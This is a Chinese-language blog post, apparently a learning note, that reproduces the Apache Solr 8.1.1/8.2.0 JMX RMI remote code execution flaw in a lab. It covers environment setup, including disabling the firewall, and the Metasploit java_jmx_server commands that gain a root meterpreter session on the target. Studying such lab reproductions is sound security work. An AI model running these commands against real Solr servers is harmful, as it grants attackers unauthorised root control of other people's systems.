Apache Solr应用服务器存在远程代码执行漏洞👻

Apache Solr应用服务器存在远程代码执行漏洞👻

1.描述

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

影响版本

  1. Apache Solr8.1.1
  2. Apache Solr8.2.0

环境

  1. 靶机:centos7

  2. 攻击机:kali

  3. 攻击软件:msf

  4. 被攻击环境: Apache Solr8.2.0

漏洞成因

默认的配置文件solr.in.sh的选项ENABLE_REMOTE_JMX_OPTS字段值被设置为”true”,这会启用JMX监视服务并会在公网中监听一个18983的RMI端口,没有任何认证,也就是说在无需身份验证情况下,攻击者结合使用JMX RMI就会造成远程代码攻击。

在开放的端口上,利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean,就可以造成远程代码执行了。 远端的恶意MBean来自于metasploit提供的exploit/multi/misc/java_jmx_server,具体的payload攻击载荷是meterpreter。

环境搭建

  1. 首先在靶机centos中安装Apache Solr8.2.0

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

image

  1. 启动一个solr的样例服务

启动条件:

  1. 需要root权限
  2. 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force

image

我们可以看到启动成功了。这里注意如果你的靶机防火墙没关的话,局域网内其他主机访问不了的。所以如果你是要在局域网内其他主机打开这个URL的话请关闭靶机的防火墙,命令如下:

查看防火墙状态:
systemctl status firewalld
关闭防火墙:
sudo systemctl stop firewalld

image

漏洞利用

我们这次使用的工具就是kali自带的 msfconsole ,进入 msfconsole 输入如下命令:

msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150    //靶机IP
set RPORT 18983
run

image

image

大概就是这样,我们成功获得靶机的root权限,可以看到前面靶机的root文件夹下面有一个漏洞环境的文件夹的。
不得不说 msf 真的🐂!还是不太熟练 msf 的操作,不太熟练 msf 的命令,等下次总结一下 msf 的命令吧!👻

第一篇开始做漏洞复习按的文章,比较简单哈!😂,后面大家一起慢慢加油!!


image

posted @ 2021-11-04 16:13  胖三斤1  阅读(387)  评论(0编辑  收藏  举报
Live2D